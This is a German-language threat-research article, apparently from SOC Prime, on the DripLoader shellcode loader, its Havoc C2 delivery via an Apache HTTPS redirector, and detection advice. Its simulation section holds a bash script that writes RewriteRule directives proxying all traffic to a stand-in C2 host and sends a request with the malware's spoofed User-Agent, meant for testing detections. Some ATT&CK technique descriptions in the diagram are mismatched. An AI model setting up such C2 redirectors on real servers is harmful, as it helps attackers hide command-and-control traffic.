SOC Prime Bias: Mittel

27 Nov. 2025 19:23

DripLoader-Malware: Shellcode-Ausführung und Verteidigungsevasion

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
DripLoader-Malware: Shellcode-Ausführung und Verteidigungsevasion
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Der Artikel untersucht DripLoader, einen Shellcode-Loader, der Speicher zuweist, Shellcode hineinschreibt, die Seitenberechtigungen auf ausführbar umschaltet und ihn dann ausführt. Er behandelt, wie der Loader über einen HTTPS-Redirector geliefert wird, der vom Havoc C2-Framework unterstützt wird, und wie sein Code mit Komprimierung und indirekten Syscalls verschleiert werden kann. Der Beitrag stellt auch eine verbesserte Variante, DripLoaderNG, vor, die auf .node Sideloading und zusätzlichen Umgehungstricks basiert, zusammen mit praktischen Erkennungshinweisen und Speicheranalysetools.

Untersuchung

Die Untersuchung beschreibt eine Laborumgebung, in der Havoc komprimierten Shellcode über einen maßgeschneiderten Apache-Redirector sendet. Der Loader reserviert 64 KB Regionen, belegt 4 KB Seiten, ändert Schutzeinstellungen und führt die Nutzlast aus. DripLoaderNG führt indirekte Syscalls und .node-Modul Sideloading ein, das auf die Slack Electron-Anwendung abzielt. Die Erkennung wird mit Tools wie Moneta, PE-sieve und unterstützenden KQL-Abfragen gezeigt.

Minderung

Zu den Minderungsmaßnahmen gehören die Überwachung verdächtiger HTTPS-Weiterleitungen, das Erkennen gefälschter User-Agent-Strings, das Markieren seltener .node-Dateien und die Nutzung von EDR-Funktionen, um das Verhalten indirekter Syscalls zu identifizieren. Weitere Empfehlungen beinhalten das Anpassen von Sliver/Donut-Konfigurationen zur Reduzierung der AMSI-Manipulation und das Begrenzen der Ausführung unsignierter nativer Module.

Antwort

Wenn Aktivität erkannt wird, isolieren Sie den betroffenen Endpunkt, stoppen Sie den störenden Prozess, erfassen Sie Speicherauszüge und inspizieren Sie den injizierten Shellcode. Blockieren Sie die C2-Domain oder -IP, setzen Sie exponierte Anmeldeinformationen zurück und setzen Sie Abwehrregeln für die spezifischen User-Agent- und .node-Dateiindikatoren um. Verfolgen Sie mit einer forensischen Analyse und aktualisieren Sie den Erkennungsinhalt, um beobachtete indirekte Syscall-Muster abzudecken.

mermaid graph TB %% Class Definitions classDef technique fill:#99ccff classDef operator fill:#ff9900 %% Technique Nodes step_initial_access[„<b>Technik</b> – <b>T1090 Proxy</b><br/><b>Beschreibung</b>: Verwendet HTTPS-Weiterleitungen und einen gefälschten User-Agent, um bösartige Nutzlasten zu liefern und Kommando-und-Kontrolle-Kommunikationen über Webverkehr aufzubauen.“] class step_initial_access technique step_c2[„<b>Technik</b> – <b>T1102.002 Webservice: Bidirektionale Kommunikation</b><br/><b>Beschreibung</b>: Kommuniziert mit dem Angreifer über HTTPS-Webdienste und ermöglicht eine zweiseitige Kommando- und Kontrollkommunikation.“] class step_c2 technique step_obfusc_compress[„<b>Technik</b> – <b>T1027.015 Komprimierung</b><br/><b>Beschreibung</b>: Nutzlast wird mit LZMS komprimiert, um ihre Inhalte vor statischen Analysen und signaturbasierten Abwehrmechanismen zu verbergen.“] class step_obfusc_compress technique step_obfusc_compile[„<b>Technik</b> – <b>T1027.004 Kompilation nach Lieferung</b><br/><b>Beschreibung</b>: Die Nutzlast wird nach der Lieferung kompiliert, um die Erkennung weiter zu umgehen.“] class step_obfusc_compile technique step_process_injection[„<b>Technik</b> – <b>T1055.002 Portables Executable-Injektion</b><br/><b>Beschreibung</b>: DripLoader weist virtuellen Speicher zu, kopiert Shellcode, ändert Seitenberechtigungen und führt ihn in einem legitimen Prozess aus.“] class step_process_injection technique step_reflective_loading[„<b>Technik</b> – <b>T1620 Reflektives Code-Laden</b><br/><b>Beschreibung</b>: Der Loader reflektiert den kopierten Shellcode in den Speicher und führt ihn ohne Verwendung des Betriebssystemladers aus.“] class step_reflective_loading technique step_dll_injection[„<b>Technik</b> – <b>T1055.001 Dynamische-Link-Bibliothek-Injektion</b><br/><b>Beschreibung</b>: Bösartiges .node-Modul (eine DLL) wird in den Slack-Prozess sideloaded und ermöglicht die Ausführung von Code unter einer vertrauenswürdigen Anwendung.“] class step_dll_injection technique step_persistence[„<b>Technik</b> – <b>T1546.009 AppCert DLLs</b><br/><b>Beschreibung</b>: Die sideloaded DLL bleibt bestehen, indem sie sich als Anwendungszertifizierungs-DLL registriert und auf Systemstart ausgeführt wird.“] class step_persistence technique step_evasion_cred_api[„<b>Technik</b> – <b>T1056.004 Credential API Hooking</b><br/><b>Beschreibung</b>: Verwendet indirekte Syscalls, um native Windows-APIs aufzurufen und EDR-Hooks im Benutzermodus zu umgehen.“] class step_evasion_cred_api technique step_evasion_indicator_removal[„<b>Technik</b> – <b>T1027.005 Indikatorentfernung aus Werkzeugen</b><br/><b>Beschreibung</b>: Ändert die Sliver/Donut-Konfiguration, um AMSI-Patching zu deaktivieren und die Erkennung durch Antischadsoftware-Engines zu verhindern.“] class step_evasion_indicator_removal technique step_evasion_stripped[„<b>Technik</b> – <b>T1027.008 Gestrippte Nutzlasten</b><br/><b>Beschreibung</b>: Entfernt Debugging- und Metadateninformationen aus der Nutzlast, um forensische Artefakte zu reduzieren.“] class step_evasion_stripped technique step_masquerade[„<b>Technik</b> – <b>T1036.008 Dateityp-Verschleierung</b><br/><b>Beschreibung</b>: Benennt die bösartige .node-Datei um, damit sie wie ein legitimes nativer Modul aussieht und sich in erwartete Anwendungsdateien einfügt.“] class step_masquerade technique step_server_component[„<b>Technik</b> – <b>T1505.003 Server-Software-Komponente: Web-Shell</b><br/><b>Beschreibung</b>: Überträgt Shellcode und Loader-Binärdateien über den Web-Redirector, dekomprimiert und führt sie auf dem Ziel aus.“] class step_server_component technique %% Operator Nodes op_obfusc((„AND“)) class op_obfusc operator op_evasion((„AND“)) class op_evasion operator %% Connections step_initial_access u002du002d>|führt_von| step_c2 step_c2 u002du002d>|führt_von| step_obfusc_compress step_c2 u002du002d>|führt_von| step_obfusc_compile step_obfusc_compress u002du002d>|teil_davon| op_obfusc step_obfusc_compile u002du002d>|teil_davon| op_obfusc op_obfusc u002du002d>|führt_von| step_process_injection step_process_injection u002du002d>|führt_von| step_reflective_loading step_reflective_loading u002du002d>|führt_von| step_dll_injection step_dll_injection u002du002d>|führt_von| step_persistence step_persistence u002du002d>|führt_von| step_evasion_cred_api step_persistence u002du002d>|führt_von| step_evasion_indicator_removal step_persistence u002du002d>|führt_von| step_evasion_stripped step_evasion_cred_api u002du002d>|teil_davon| op_evasion step_evasion_indicator_removal u002du002d>|teil_davon| op_evasion step_evasion_stripped u002du002d>|teil_davon| op_evasion op_evasion u002du002d>|führt_von| step_masquerade step_masquerade u002du002d>|führt_von| step_server_component

Angriffsablauf

Simulation Ausführung

Voraussetzung: Die Telemetrie- & Baseline-Vorprüfung muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Bedrohungstechnik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht zusammenhängende Beispiele führen zu Fehldiagnosen.

  • Angriffserzählung & Befehle:
    Ein Betreiber der bösartigen Infrastruktur bereitet den Opfer-Webserver darauf vor, als Vermittler zum C2-Server zu fungieren. Sie fügen zwei RewriteRule Direktiven in die Apache-virtueller Host-Konfiguration ein: eine, die allen eingehenden Verkehr zu https://C2.TeamServer.IP:443 ([P] weiterleitet) und eine zweite, die jede Anfrage an eine harmlose Google-URL umleitet ([L,R=302]). Nach dem Neustart von Apache gibt der Angreifer ein manipuliertes HTTP-Anfrage mit genau dem gefälschten User-Agent-String heraus, der in der Sigma-Regel definiert ist. Apache verarbeitet die Anfrage, protokolliert den User-Agent und die Rewrite-Engine verzeichnet die Weiterleitungsaktion, wodurch beide Erkennungsbedingungen erfüllt werden.

  • Regressionstest-Skript:

    #!/usr/bin/env bash
    # -------------------------------------------------
    # DripLoader-Erkennung Validierungsskript
    # -------------------------------------------------
    APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
    BACKUP_CONF="/tmp/000-default.conf.bak"
    # 1. Aktuelle Konfiguration sichern
    sudo cp "$APACHE_CONF" "$BACKUP_CONF"
    # 2. Bösartige Rewrite-Regeln einfügen
    sudo bash -c "cat >> $APACHE_CONF <<'EOF'
    # BEGIN DripLoader Testregeln
    RewriteEngine On
    RewriteRule ^.*$ "https://C2.TeamServer.IP:443%{REQUEST_URI}" [P]
    RewriteRule ^.*$ "https://www.google.com" [L,R=302]
    # END DripLoader Testregeln
    EOF"
    # 3. Apache neu laden, um Änderungen zu übernehmen
    sudo systemctl reload apache2
    # 4. Bösartige Anfrage mit dem genau gefälschten User-Agent
    curl -s -o /dev/null -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.366" http://localhost/
    echo "Bösartige Anfrage gesendet. SIEM auf Erkennungsalarm überprüfen."
  • Bereinigung Befehle:

    #!/usr/bin/env bash
    # -------------------------------------------------
    # DripLoader-Erkennung Bereinigung
    # -------------------------------------------------
    APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
    BACKUP_CONF="/tmp/000-default.conf.bak"
    # Originalkonfiguration wiederherstellen
    if [[ -f "$BACKUP_CONF" ]]; then
        sudo cp "$BACKUP_CONF" "$APACHE_CONF"
        sudo systemctl reload apache2
        echo "Originale Apache-Konfiguration wiederhergestellt."
    else
        echo "Sicherung nicht gefunden; möglicherweise manuelle Bereinigung erforderlich."
    fi